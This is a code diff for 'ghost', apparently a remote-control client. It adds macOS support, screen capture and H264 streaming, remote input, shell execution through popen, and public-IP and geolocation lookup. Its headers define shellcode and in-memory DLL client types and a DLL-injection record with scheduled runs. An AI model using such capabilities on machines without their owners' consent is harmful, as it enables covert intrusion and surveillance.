#define CONN_AUTH_TIMESTAMP_TOLERANCE_SEC 300 // 客户端/服务端时钟漂移容忍 ±5 分钟
#define CONN_AUTH_CLIENT_WAIT_MS 10000 // 客户端等待 ack 的超时
// 设为 10 秒留足跨太平洋 + 拥塞 / 卫星链路 / 偏远网络的余量;
// 同机几毫秒就回,正常路径用户感知不到。
enum MachineCommand {
MACHINE_LOGOUT,
MACHINE_SHUTDOWN,
@@ -532,6 +635,7 @@ enum {
CLIENT_TYPE_SHELLCODE = 4, // Shellcode
CLIENT_TYPE_MEMDLL = 5, // 内存DLL运行
CLIENT_TYPE_LINUX = 6, // LINUX 客户端
CLIENT_TYPE_MACOS = 7, // MACOS 客户端
};
enum {
@@ -557,6 +661,8 @@ inline const char* GetClientType(int typ)
return "MDLL";
case CLIENT_TYPE_LINUX:
return "LNX";
case CLIENT_TYPE_MACOS:
return "MAC";
default:
return "DLL";
}
@@ -908,7 +1014,14 @@ typedef struct LOGIN_INFOR {
{
memset(this, 0, sizeof(LOGIN_INFOR));
bToken = TOKEN_LOGIN;
sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2);
// 能力位声明客户端实际实现了的功能。SCREEN_PREVIEW 只在 Windows 客户端
// 实现(依赖 GDI BitBlt + GDI+ JPEGLinux/macOS 不声明,避免服务端发请求
// 后等 4s 超时显示"预览不可用"。
unsigned int caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
#ifdef _WIN32
caps |= CLIENT_CAP_SCREEN_PREVIEW;
#endif
sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, caps);
}
LOGIN_INFOR& Speed(unsigned long speed)
{
@@ -1041,6 +1154,14 @@ enum QualityLevel {
QUALITY_COUNT = 6,
};
// 屏幕压缩算法常量 (所有平台共用)
#ifndef ALGORITHM_GRAY
#define ALGORITHM_GRAY 0 // 灰度压缩
#define ALGORITHM_DIFF 1 // 差分压缩 (BGRA)
#define ALGORITHM_H264 2 // H264 硬件编码
#define ALGORITHM_RGB565 3 // RGB565 压缩
#endif
/* 质量配置(与 QualityLevel 对应)
- strategy = 01080p 限制
- strategy = 1原始分辨率
@@ -1073,6 +1194,29 @@ inline const QualityProfile& GetQualityProfile(int level) {
return g_QualityProfiles[level];
}
// 屏幕预览质量配置(与 QualityLevel 共用 RTT 阈值表,但参数维度不同:缩略图只关心
// 编码尺寸 + JPEG 质量,没有 FPS / 算法等运动视频参数)
struct PreviewProfile {
int maxWidth; // 期望编码宽度(客户端会等比缩放,禁止放大)
int jpegQuality; // JPEG 质量 1..100
};
inline const PreviewProfile& GetScreenPreviewProfile(int level) {
static const PreviewProfile g_PreviewProfiles[QUALITY_COUNT] = {
{ 1024, 85 }, // Ultra: 超清 (LAN/同省4K 源屏可进一步放大到 1280)
{ 800, 80 }, // High: 高清 (跨省直连)
{ 640, 75 }, // Good: 标清 (同国/邻国)
{ 480, 70 }, // Medium: 常规 (大陆间)
{ 384, 60 }, // Low: 低清 (跨洲)
{ 256, 50 }, // Minimal: 最低 (极差网络/卫星链路)
};
if (level < 0 || level >= QUALITY_COUNT) {
static const PreviewProfile fallback = { 480, 70 };
return fallback;
}
return g_PreviewProfiles[level];
}
// 根据RTT获取目标质量等级 (控制端使用)
inline int GetTargetQualityLevel(int rtt, int usingFRP) {
// 根据模式应用不同 RTT阈值 (毫秒)
@@ -1145,7 +1289,8 @@ typedef struct DllExecuteInfo {
char Md5[33]; // DLL MD5
int Pid; // 被注入进程ID
char Is32Bit; // 是否32位DLL
char Reseverd[18];
unsigned short InfoSize; // 结构体大小
ScheduleParams Schedule; // 执行计划
} DllExecuteInfo;
typedef struct DllExecuteInfoNew {
@@ -1156,7 +1301,8 @@ typedef struct DllExecuteInfoNew {
char Md5[33]; // DLL MD5
int Pid; // 被注入进程ID
char Is32Bit; // 是否32位DLL
char Reseverd[18];
unsigned short InfoSize; // 结构体大小
ScheduleParams Schedule; // 执行计划
char Parameters[400];
} DllExecuteInfoNew;
inline void SetParameters(DllExecuteInfoNew *p, char *param, int size)

View File

@@ -359,6 +359,88 @@ public:
}
m_keyCache.clear();
}
// 枚举 m_SubKeyPath 下的所有子键名称
// suffix: 只返回以该后缀结尾的键名,默认为空表示返回所有键
std::vector<std::string> EnumSubKeys(const std::string& suffix = "") const
{
std::vector<std::string> result;
// 使用缓存获取 m_SubKeyPath 的句柄
auto it = m_keyCache.find(m_SubKeyPath);
HKEY hKey = NULL;
if (it != m_keyCache.end()) {
hKey = it->second;
} else {
if (RegOpenKeyExA(m_hRootKey, m_SubKeyPath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
return result;
}
m_keyCache[m_SubKeyPath] = hKey;
}
char keyName[256];
DWORD keyNameSize;
DWORD index = 0;
while (true) {
keyNameSize = sizeof(keyName);
LONG ret = RegEnumKeyExA(hKey, index, keyName, &keyNameSize, NULL, NULL, NULL, NULL);
if (ret == ERROR_NO_MORE_ITEMS) {
break;
}
if (ret == ERROR_SUCCESS) {
if (suffix.empty()) {
result.push_back(keyName);
} else {
std::string name(keyName);
if (name.size() >= suffix.size() &&
name.compare(name.size() - suffix.size(), suffix.size(), suffix) == 0) {
result.push_back(name);
}
}
}
index++;
}
return result;
}
// 枚举指定 MainKey 下的所有值名称
// suffix: 只返回以该后缀结尾的值名,默认为空表示返回所有值
std::vector<std::string> EnumValues(const std::string& MainKey, const std::string& suffix = "") const
{
std::vector<std::string> result;
HKEY hKey = GetCachedKey(MainKey);
if (!hKey)
return result;
char valueName[256];
DWORD valueNameSize;
DWORD index = 0;
while (true) {
valueNameSize = sizeof(valueName);
LONG ret = RegEnumValueA(hKey, index, valueName, &valueNameSize, NULL, NULL, NULL, NULL);
if (ret == ERROR_NO_MORE_ITEMS) {
break;
}
if (ret == ERROR_SUCCESS) {
if (suffix.empty()) {
result.push_back(valueName);
} else {
std::string name(valueName);
if (name.size() >= suffix.size() &&
name.compare(name.size() - suffix.size(), suffix.size(), suffix) == 0) {
result.push_back(name);
}
}
}
index++;
}
return result;
}
};
// 配置读取类: 注册表二进制配置(带键句柄缓存)

View File

@@ -321,6 +321,16 @@ inline const char* getFileName(const char* path)
#endif
#elif defined(_WIN32)
#define Mprintf(format, ...) Logger::getInstance().log(getFileName((__FILE__)), __LINE__, (format), __VA_ARGS__)
#elif defined(__APPLE__)
// macOS: 使用 NSLog 输出到系统日志(可通过 Console.app 查看)
#ifdef Mprintf
#undef Mprintf
#endif
#ifdef __OBJC__
#define Mprintf(format, ...) NSLog(@"%@", [NSString stringWithFormat:@(format), ##__VA_ARGS__])
#else
#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
#endif
#else
// Linux: 覆盖 commands.h 中的 printf 回退定义,改用 Logger 写文件
#ifdef Mprintf

View File

@@ -0,0 +1,99 @@
// posix_net_helpers.h
// Linux/macOS 客户端共用的网络/Shell 工具execCmd / httpGet / getPublicIP /
// jsonExtract / getGeoLocation。Windows 端已有等价实现,不应包含此头。
//
// 全部 inlineheader-only避免新增 .cpp / 改 CMakeLists。
//
// 设计说明:
// - httpGet 优先 curl备选 wgetLinux 默认自带macOS 默认无 wget缺失时
// wget 命令失败、execCmd 返空——无副作用,等价于"只用 curl"
// - getPublicIP 轮询多个公网 IP 查询源,按顺序尝试直到成功
// - jsonExtract 仅做最简单的 "key":"value" 提取,不依赖 jsoncpp
// - getGeoLocation 通过 ipinfo.io 反查地理位置,与 Windows IPConverter 同源
#pragma once
#include <cstdio>
#include <memory>
#include <string>
#include "common/logger.h"
namespace PosixNet {
// 执行 shell 命令,捕获其 stdout 输出trim 末尾空白后返回)
inline std::string execCmd(const std::string& cmd)
{
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
if (!pipe) return "";
char buf[4096];
std::string result;
while (fgets(buf, sizeof(buf), pipe.get())) {
result += buf;
}
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
result.pop_back();
return result;
}
// HTTP GET 请求:优先 curl备选 wget
inline std::string httpGet(const std::string& url, int timeoutSec = 5)
{
std::string t = std::to_string(timeoutSec);
std::string r = execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
if (!r.empty()) return r;
r = execCmd("wget -qO- --timeout=" + t + " \"" + url + "\" 2>/dev/null");
return r;
}
// 获取公网 IP轮询多个查询源与 Windows 端 IPConverter 一致)
inline std::string getPublicIP()
{
static const char* urls[] = {
"https://checkip.amazonaws.com",
"https://api.ipify.org",
"https://ipinfo.io/ip",
"https://icanhazip.com",
"https://ifconfig.me/ip",
};
for (auto& url : urls) {
std::string ip = httpGet(url, 3);
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
Mprintf("getPublicIP: %s (from %s)\n", ip.c_str(), url);
return ip;
}
}
Mprintf("getPublicIP: all sources failed\n");
return "";
}
// 从 JSON 字符串中提取指定 key 的 string 值(简易解析,不依赖 jsoncpp
// 仅支持 "key": "value" 或 "key":"value" 格式
inline std::string jsonExtract(const std::string& json, const std::string& key)
{
std::string needle = "\"" + key + "\"";
size_t pos = json.find(needle);
if (pos == std::string::npos) return "";
pos = json.find(':', pos + needle.size());
if (pos == std::string::npos) return "";
pos = json.find('"', pos + 1);
if (pos == std::string::npos) return "";
size_t end = json.find('"', pos + 1);
if (end == std::string::npos) return "";
return json.substr(pos + 1, end - pos - 1);
}
// 获取 IP 地理位置ipinfo.io与 Windows IPConverter 同源)
inline std::string getGeoLocation(const std::string& ip)
{
if (ip.empty()) return "";
std::string json = httpGet("https://ipinfo.io/" + ip + "/json", 5);
if (json.empty()) return "";
std::string country = jsonExtract(json, "country");
std::string city = jsonExtract(json, "city");
if (city.empty() && country.empty()) return "";
if (city.empty()) return country;
if (country.empty()) return city;
return city + ", " + country;
}
} // namespace PosixNet

50
common/rtt_estimator.h Normal file
View File

@@ -0,0 +1,50 @@
// rtt_estimator.h
// 平滑 RTT 估算器(参考 RFC 6298与 Windows 端 KernelManager 算法一致。
// Linux/macOS 客户端共享:每次心跳 ACK 用 update_from_sample(rtt_ms) 喂一次样本。
//
// 设计要点:
// - srtt / rttvar / rto 单位为秒;输入是毫秒
// - 异常值≤0 或 >30s丢弃防止统计被一个瞬时坏样本污染
// - alpha=1/8, beta=1/4 与 RFC 6298 默认值一致
//
// C++17 inline 全局变量g_rttEstimator / g_heartbeatInterval 由本头文件直接定义,
// 多翻译单元 include 不会触发 ODR 冲突。
#pragma once
#include <cmath>
struct RttEstimator {
double srtt = 0.0; // 平滑 RTT (秒)
double rttvar = 0.0; // RTT 波动 (秒)
double rto = 0.0; // 超时时间 (秒)
bool initialized = false;
void update_from_sample(double rtt_ms)
{
// 过滤异常值RTT应在合理范围内 (0, 30000] 毫秒
if (rtt_ms <= 0 || rtt_ms > 30000)
return;
const double alpha = 1.0 / 8;
const double beta = 1.0 / 4;
double rtt = rtt_ms / 1000.0;
if (!initialized) {
srtt = rtt;
rttvar = rtt / 2.0;
rto = srtt + 4.0 * rttvar;
initialized = true;
} else {
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
srtt = (1.0 - alpha) * srtt + alpha * rtt;
rto = srtt + 4.0 * rttvar;
}
// 限制最小 RTORFC 6298 推荐 1 秒)
if (rto < 1.0) rto = 1.0;
}
};
// 进程级全局:所有翻译单元共享同一份估算器与心跳间隔
inline RttEstimator g_rttEstimator;
inline int g_heartbeatInterval = 5; // 默认心跳间隔(秒),可被服务端 CMD_MASTERSETTING 更新

100
common/scheduler.h Normal file
View File

@@ -0,0 +1,100 @@
#ifndef YAMA_SCHEDULER_H
#define YAMA_SCHEDULER_H
// 调度模式定义
#define SCH_MODE_NONE 0 // 默认模式:不自动执行 (仅手动)
#define SCH_MODE_STARTUP 1 // 启动执行模式
#define SCH_MODE_DAILY 2 // 每日定时模式
#define SCH_MODE_WEEKLY 3 // 每周定时模式
#pragma pack(push, 1)
// 严格定义 16 字节结构
typedef struct {
unsigned char Mode; // [1 字节] 0=None, 1=Startup, 2=Daily...
unsigned char Flags; // [1 字节] 标志位 (bit0:禁用)
union {
// Mode 1: 启动执行 + 间隔控制
struct {
unsigned int Interval;
} Startup;
// Mode 2 & 3: 定时模式
struct {
unsigned short TargetMin;
unsigned char DaysMask;
unsigned char Reserved;
} Timed;
} Config;
uint64_t LastRunTime;
unsigned char CurrentCount;
unsigned char MaxCount;
} ScheduleParams;
#pragma pack(pop)
#ifdef _WIN32
#include <windows.h>
class YamaTaskEngine {
public:
static bool ShouldExecute(const ScheduleParams* p) {
// --- 1. 默认与基础拦截 ---
if (p->Mode == SCH_MODE_NONE) return false; // Mode为0默认不执行
if (p->Flags & 0x01) return false; // 显式禁用拦截
if (p->MaxCount > 0 && p->CurrentCount >= p->MaxCount) return false;
unsigned __int64 now = GetCurrentFT();
// --- 2. 启动执行模式 (Mode 1) ---
if (p->Mode == SCH_MODE_STARTUP) {
// 检查时间间隔限制
if (p->Config.Startup.Interval > 0 && p->LastRunTime > 0) {
unsigned __int64 diffSec = (now - p->LastRunTime) / 10000000ULL;
if (diffSec < (unsigned __int64)p->Config.Startup.Interval) {
return false;
}
}
return true;
}
// --- 3. 每日定时逻辑 (Mode 2) ---
if (p->Mode == SCH_MODE_DAILY) {
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
if (curMin >= p->Config.Timed.TargetMin) {
if (!IsSameDay(p->LastRunTime, now)) return true;
}
}
return false;
}
static void MarkExecuted(ScheduleParams* p) {
p->LastRunTime = GetCurrentFT();
if (p->MaxCount > 0 && p->CurrentCount < 255) {
p->CurrentCount++;
}
}
private:
static unsigned __int64 GetCurrentFT() {
FILETIME ft;
GetSystemTimeAsFileTime(&ft);
return ((unsigned __int64)ft.dwHighDateTime << 32) | ft.dwLowDateTime;
}
static bool IsSameDay(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
SYSTEMTIME st1, st2;
FILETIME f1, f2;
f1.dwLowDateTime = (DWORD)ft1; f1.dwHighDateTime = (DWORD)(ft1 >> 32);
f2.dwLowDateTime = (DWORD)ft2; f2.dwHighDateTime = (DWORD)(ft2 >> 32);
FileTimeToSystemTime(&f1, &st1);
FileTimeToSystemTime(&f2, &st2);
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth && st1.wDay == st2.wDay);
}
};
#endif
#endif

70
common/sub_conn_thread.h Normal file
View File

@@ -0,0 +1,70 @@
// sub_conn_thread.h
// Linux/macOS 客户端子连接 worker 线程的统一骨架。
//
// 各 worker 线程Shell / ScreenSpy / FileManager / SystemManager 等)共有的步骤:
// 1. new IOCPClient(g_bExit, exit_while_disconnect=true)
// 2. Enter log
// 3. EnableSubConnAuth(true, g_myClientID)(子连接强制 ConnAuth
// 4. ConnectServer内部会执行 PerformConnAuth失败返 false
// 5. 创建 platform handler
// 6. setManagerCallBack 装回调
// 7. 调 onReady发首包TOKEN_TERMINAL_START / SendBitmapInfo() 等)
// 8. while (running && connected && !g_bExit) Sleep
// 9. 清回调防止 dangling
// 10. Leave log
// 11. catch exceptions
//
// 平台差异(通过 lambda 注入):
// - HandlerTPTYHandler / ScreenHandler / SystemManager / FileManager
// - createHandler 可返回 nullptr 表示初始化失败(如 macOS ScreenHandler 无录屏权限)
// - onReady 完成首包发送或额外 setup
//
// 用法见 linux/main.cpp / macos/main.mm 的 *workingThread 调用点。
#pragma once
#include <memory>
#include <stdexcept>
#include "client/IOCPClient.h"
#include "common/commands.h"
#include "common/logger.h"
extern State g_bExit;
extern uint64_t g_myClientID;
extern CONNECT_ADDRESS g_SETTINGS;
// 子连接 worker 线程通用骨架。
//
// CreateFn 签名: std::unique_ptr<HandlerT>(IOCPClient*)
// 返回 nullptr 表示初始化失败(如权限拒绝),线程会跳过 callback 安装直接 leave。
// OnReadyFn 签名: void(IOCPClient*, HandlerT*)
// handler 装上 callback 后立即调用,可在此发送首包或做额外 setup。
template <class HandlerT, class CreateFn, class OnReadyFn>
inline void RunSubConnThread(const char* threadName, CreateFn createHandler, OnReadyFn onReady)
{
try {
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get();
Mprintf(">>> Enter %s [%p]\n", threadName, clientAddr);
// 子连接:开启 auth。Linux/macOS IOCPClient 不带 m_conn显式传入 g_myClientID。
ClientObject->EnableSubConnAuth(true, g_myClientID);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<HandlerT> handler = createHandler(ClientObject.get());
if (handler) {
ClientObject->setManagerCallBack(handler.get(),
IOCPManager::DataProcess,
IOCPManager::ReconnectProcess);
onReady(ClientObject.get(), handler.get());
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(1000);
// 清除回调,防止重连线程访问已销毁的 handler
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
}
}
Mprintf(">>> Leave %s [%p]\n", threadName, clientAddr);
} catch (const std::exception& e) {
Mprintf("*** %s exception: %s ***\n", threadName, e.what());
}
}

View File

@@ -28,6 +28,7 @@ set(SOURCES
main.cpp
../client/Buffer.cpp
../client/IOCPClient.cpp
../client/sign_shim_unix.cpp
)
add_executable(ghost ${SOURCES})
@@ -40,6 +41,14 @@ set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g")
message(STATUS "链接库文件: ${CMAKE_SOURCE_DIR}/lib/libzstd.a")
target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libzstd.a")
# 链接私有签名库(提供 signMessage / verifyMessage源码不开源
# 该库由 SimplePlugins 仓库本地构建后放置于 lib/,构建机需先准备好
target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libsign.a")
# libsign.a 内部使用 OpenSSL HMAC需要在最终可执行链接 libcrypto
find_package(OpenSSL REQUIRED)
target_link_libraries(ghost PRIVATE OpenSSL::Crypto)
# 链接 dl 库dlopen/dlsym 用于运行时加载 X11
target_link_libraries(ghost PRIVATE dl)

View File

@@ -3,7 +3,8 @@
#include "client/IOCPClient.h"
#include "LinuxConfig.h"
#include "ClipboardHandler.h"
#include "FileTransferV2.h"
#include "common/FileTransferV2.h"
#include "X264Encoder.h"
#include <dlfcn.h>
#include <sys/stat.h>
#include <thread>
@@ -11,7 +12,9 @@
#include <atomic>
#include <vector>
#include <cstring>
#include <cstdlib>
#include <stdexcept>
#include <memory>
// 客户端 ID定义在 main.cpp
extern uint64_t g_myClientID;
@@ -110,27 +113,39 @@ struct XGCValues_LNX {
#define IncludeInferiors 1
// ============== 屏幕算法常量 ==============
#define ALGORITHM_GRAY 0
#define ALGORITHM_DIFF 1
#define ALGORITHM_H264 2
#define ALGORITHM_RGB565 3
// 常量定义已移至 commands.h: ALGORITHM_GRAY, ALGORITHM_DIFF, ALGORITHM_H264, ALGORITHM_RGB565
// 算法支持表(编译时常量,日后支持 H264 时改为 true
static const bool g_SupportedAlgo[] = {
true, // ALGORITHM_GRAY = 0
true, // ALGORITHM_DIFF = 1
false, // ALGORITHM_H264 = 2
true, // ALGORITHM_RGB565 = 3
};
// 检查算法是否支持H264 需要运行时检测
inline bool IsAlgorithmSupported(uint8_t algo) {
switch (algo) {
case ALGORITHM_GRAY:
case ALGORITHM_DIFF:
case ALGORITHM_RGB565:
return true;
case ALGORITHM_H264:
return X264Encoder::IsAvailable();
default:
return false;
}
}
// 不支持的算法降级为 RGB565
inline uint8_t GetEffectiveAlgorithm(uint8_t algo) {
if (algo > 3 || !g_SupportedAlgo[algo]) {
if (!IsAlgorithmSupported(algo)) {
Mprintf(">>> Algorithm %d not supported, fallback to RGB565\n", algo);
return ALGORITHM_RGB565;
}
return algo;
}
// 码率到 CRF 映射 (参考 Windows/macOS 实现)
inline int BitRateToCRF(int bitrate) {
if (bitrate >= 3000) return 20; // 高质量
if (bitrate >= 2000) return 23; // 中等
if (bitrate >= 1200) return 26; // 较低
return 30; // 最低
}
// ============== 颜色转换函数 ==============
// BGRA → 灰度 (Y = 0.299R + 0.587G + 0.114B)
@@ -375,6 +390,16 @@ static unsigned long VKtoKeySym(unsigned int vk)
}
}
// XFixes cursor image structure (for cursor type detection)
struct XFixesCursorImage {
short x, y;
unsigned short width, height;
unsigned short xhot, yhot;
unsigned long cursor_serial;
unsigned long* pixels;
// Atom cursor_name; // Only in XFixes 2.0+
};
// X11 函数指针类型
typedef Display* (*fn_XOpenDisplay)(const char*);
typedef int (*fn_XCloseDisplay)(Display*);
@@ -391,12 +416,18 @@ typedef int (*fn_XSync)(Display*, int);
typedef unsigned long (*fn_XKeysymToKeycode)(Display*, unsigned long);
typedef int (*fn_XFlush)(Display*);
typedef int (*fn_XClearArea)(Display*, Window, int, int, unsigned int, unsigned int, int);
typedef int (*fn_XQueryPointer)(Display*, Window, Window*, Window*, int*, int*, int*, int*, unsigned int*);
typedef int (*fn_XFree)(void*);
// XTest 扩展函数指针类型(用于模拟鼠标/键盘输入)
typedef int (*fn_XTestFakeMotionEvent)(Display*, int, int, int, unsigned long);
typedef int (*fn_XTestFakeButtonEvent)(Display*, unsigned int, int, unsigned long);
typedef int (*fn_XTestFakeKeyEvent)(Display*, unsigned int, int, unsigned long);
// XFixes 扩展函数指针类型(用于光标类型检测)
typedef int (*fn_XFixesQueryExtension)(Display*, int*, int*);
typedef XFixesCursorImage* (*fn_XFixesGetCursorImage)(Display*);
// X11 动态加载包装
class X11Loader
{
@@ -430,13 +461,19 @@ public:
fn_XKeysymToKeycode pXKeysymToKeycode;
fn_XFlush pXFlush;
fn_XClearArea pXClearArea;
fn_XQueryPointer pXQueryPointer;
fn_XFree pXFree;
// XTest 扩展(用于模拟输入)
fn_XTestFakeMotionEvent pXTestFakeMotionEvent;
fn_XTestFakeButtonEvent pXTestFakeButtonEvent;
fn_XTestFakeKeyEvent pXTestFakeKeyEvent;
X11Loader() : m_handle(nullptr), m_xtst_handle(nullptr)
// XFixes 扩展(用于光标类型检测)
fn_XFixesQueryExtension pXFixesQueryExtension;
fn_XFixesGetCursorImage pXFixesGetCursorImage;
X11Loader() : m_handle(nullptr), m_xtst_handle(nullptr), m_xfixes_handle(nullptr)
{
pXOpenDisplay = nullptr;
pXCloseDisplay = nullptr;
@@ -457,9 +494,13 @@ public:
pXKeysymToKeycode = nullptr;
pXFlush = nullptr;
pXClearArea = nullptr;
pXQueryPointer = nullptr;
pXFree = nullptr;
pXTestFakeMotionEvent = nullptr;
pXTestFakeButtonEvent = nullptr;
pXTestFakeKeyEvent = nullptr;
pXFixesQueryExtension = nullptr;
pXFixesGetCursorImage = nullptr;
}
bool Load()
@@ -489,6 +530,8 @@ public:
pXKeysymToKeycode = (fn_XKeysymToKeycode)dlsym(m_handle, "XKeysymToKeycode");
pXFlush = (fn_XFlush)dlsym(m_handle, "XFlush");
pXClearArea = (fn_XClearArea)dlsym(m_handle, "XClearArea");
pXQueryPointer = (fn_XQueryPointer)dlsym(m_handle, "XQueryPointer");
pXFree = (fn_XFree)dlsym(m_handle, "XFree");
// 加载 XTest 扩展库(用于模拟鼠标/键盘输入)
m_xtst_handle = dlopen("libXtst.so.6", RTLD_LAZY);
@@ -499,7 +542,15 @@ public:
pXTestFakeKeyEvent = (fn_XTestFakeKeyEvent)dlsym(m_xtst_handle, "XTestFakeKeyEvent");
}
// 基本 X11 函数必须全部存在XTest 函数可选(没有时无法控制输入
// 加载 XFixes 扩展库(用于光标类型检测
m_xfixes_handle = dlopen("libXfixes.so.3", RTLD_LAZY);
if (!m_xfixes_handle) m_xfixes_handle = dlopen("libXfixes.so", RTLD_LAZY);
if (m_xfixes_handle) {
pXFixesQueryExtension = (fn_XFixesQueryExtension)dlsym(m_xfixes_handle, "XFixesQueryExtension");
pXFixesGetCursorImage = (fn_XFixesGetCursorImage)dlsym(m_xfixes_handle, "XFixesGetCursorImage");
}
// 基本 X11 函数必须全部存在XTest/XFixes 函数可选
return pXOpenDisplay && pXCloseDisplay && pXGetImage && pXDestroyImage &&
pXDefaultScreen && pXDisplayWidth && pXDisplayHeight && pXRootWindow &&
pXSetErrorHandler && pXCreatePixmap && pXFreePixmap &&
@@ -513,8 +564,18 @@ public:
return pXTestFakeMotionEvent && pXTestFakeButtonEvent && pXTestFakeKeyEvent;
}
// 检查 XFixes 扩展是否可用
bool HasXFixes() const
{
return pXFixesGetCursorImage != nullptr;
}
~X11Loader()
{
if (m_xfixes_handle) {
dlclose(m_xfixes_handle);
m_xfixes_handle = nullptr;
}
if (m_xtst_handle) {
dlclose(m_xtst_handle);
m_xtst_handle = nullptr;
@@ -528,6 +589,7 @@ public:
private:
void* m_handle;
void* m_xtst_handle;
void* m_xfixes_handle;
};
class ScreenHandler : public IOCPManager
@@ -538,7 +600,8 @@ public:
m_inputDisplay(nullptr),
m_width(0), m_height(0),
m_pixmap(0), m_gc(nullptr), m_xtestWarned(false),
m_bAlgorithm(ALGORITHM_DIFF), m_maxFPS(10), m_qualityLevel(QUALITY_ADAPTIVE)
m_bAlgorithm(ALGORITHM_DIFF), m_maxFPS(10), m_qualityLevel(QUALITY_ADAPTIVE),
m_h264Bitrate(2000)
{
if (!client) {
throw std::invalid_argument("IOCPClient pointer cannot be null");
@@ -651,11 +714,21 @@ public:
// Double-check after acquiring lock
if (m_destroyed) return;
// Prevent starting if thread is already running or joinable
if (m_captureThread.joinable()) return;
// If already running, just send TOKEN_BITMAPINFO again
// This allows server to create additional dialogs (MFC can open while Web is active)
if (m_captureThread.joinable() || m_running.load()) {
Mprintf(">>> ScreenHandler already running, sending TOKEN_BITMAPINFO for new dialog\n");
SendBitmapInfo();
return;
}
bool expected = false;
if (!m_running.compare_exchange_strong(expected, true)) return;
if (!m_running.compare_exchange_strong(expected, true)) {
// Race condition: another thread started first, send bitmap info
Mprintf(">>> ScreenHandler race, sending TOKEN_BITMAPINFO for new dialog\n");
SendBitmapInfo();
return;
}
m_captureThread = std::thread(&ScreenHandler::CaptureLoop, this);
}
@@ -873,12 +946,28 @@ public:
// 应用帧率
m_maxFPS.store(profile.maxFPS);
// 应用码率H264 使用)
int oldBitrate = m_h264Bitrate;
m_h264Bitrate = profile.bitRate;
// 应用算法(带降级处理)
uint8_t algo = GetEffectiveAlgorithm(profile.algorithm);
uint8_t oldAlgo = m_bAlgorithm.load();
m_bAlgorithm.store(algo);
Mprintf(">>> Quality: Level=%d, FPS=%d, Algo=%d->%d\n",
level, profile.maxFPS, profile.algorithm, algo);
// 如果 H264 参数变化,需要重新初始化编码器
if (algo == ALGORITHM_H264 && oldAlgo == ALGORITHM_H264 &&
(oldBitrate != m_h264Bitrate)) {
// 码率变化,重置编码器(下次编码时重新初始化)
if (m_h264Encoder) {
m_h264Encoder->close();
m_h264Encoder.reset();
Mprintf(">>> H264 encoder reset due to bitrate change\n");
}
}
Mprintf(">>> Quality: Level=%d, FPS=%d, Algo=%d->%d, Bitrate=%d\n",
level, profile.maxFPS, profile.algorithm, algo, profile.bitRate);
} else {
// 自适应模式 (level=-1):由服务端动态调整,不做处理
Mprintf(">>> Quality: Adaptive mode\n");
@@ -1044,11 +1133,15 @@ private:
std::vector<uint8_t> m_diffBuffer;
// 自适应质量控制
std::atomic<uint8_t> m_bAlgorithm; // 当前算法 (ALGORITHM_DIFF/RGB565/GRAY)
std::atomic<uint8_t> m_bAlgorithm; // 当前算法 (ALGORITHM_DIFF/RGB565/GRAY/H264)
std::atomic<int> m_maxFPS; // 最大帧率
int8_t m_qualityLevel; // 当前质量等级 (-1=自适应, 0-5=具体等级)
LinuxConfig m_config; // 配置持久化 (~/.config/ghost/config.conf)
// H264 编码器
std::unique_ptr<X264Encoder> m_h264Encoder;
int m_h264Bitrate; // 码率 (kbps)
// X11 截屏,输出 BGRA 格式(自底向上,与 BMP 一致)
// 使用 XCopyArea 将 root window 拷贝到离屏 Pixmap再对 Pixmap 调用 XGetImage
// 这样可以避免合成窗口管理器Mutter 等)导致的 BadMatch 错误
@@ -1120,13 +1213,14 @@ private:
uint8_t algo = m_bAlgorithm.load();
memcpy(data, &algo, sizeof(uint8_t));
// 写入光标位置 (Linux 端简单置 0)
// 写入光标位置
int32_t cursorX = 0, cursorY = 0;
GetCursorPosition(cursorX, cursorY);
memcpy(data + 1, &cursorX, sizeof(int32_t));
memcpy(data + 1 + sizeof(int32_t), &cursorY, sizeof(int32_t));
// 写入光标类型
uint8_t cursorType = 0;
// 写入光标类型 (使用 XFixes 检测)
uint8_t cursorType = GetCursorTypeIndex();
memcpy(data + 1 + 2 * sizeof(int32_t), &cursorType, sizeof(uint8_t));
uint32_t headerSize = 1 + 2 * sizeof(int32_t) + 1; // algo + cursor + cursorType
@@ -1141,6 +1235,60 @@ private:
std::swap(m_prevFrame, m_currFrame);
}
// 发送 H264 编码帧
void SendH264Frame(bool forceKeyframe = false)
{
if (!CaptureScreen(m_currFrame)) return;
if (!m_client) return;
// 惰性初始化编码器
if (!m_h264Encoder) {
m_h264Encoder.reset(new X264Encoder());
int fps = m_maxFPS.load();
if (fps <= 0) fps = 20;
int crf = BitRateToCRF(m_h264Bitrate);
if (!m_h264Encoder->open(m_bmpHeader.biWidth, m_bmpHeader.biHeight, fps, crf)) {
Mprintf("*** H264 encoder init failed, falling back to RGB565\n");
m_bAlgorithm.store(ALGORITHM_RGB565);
m_h264Encoder.reset();
SendDiffFrame();
return;
}
Mprintf(">>> H264 encoder initialized: %dx%d @ %d fps, CRF=%d\n",
m_bmpHeader.biWidth, m_bmpHeader.biHeight, fps, crf);
}
// 编码当前帧
uint8_t* encodedData = nullptr;
uint32_t encodedSize = 0;
// direction=1 表示 bottom-up (BMP 格式)
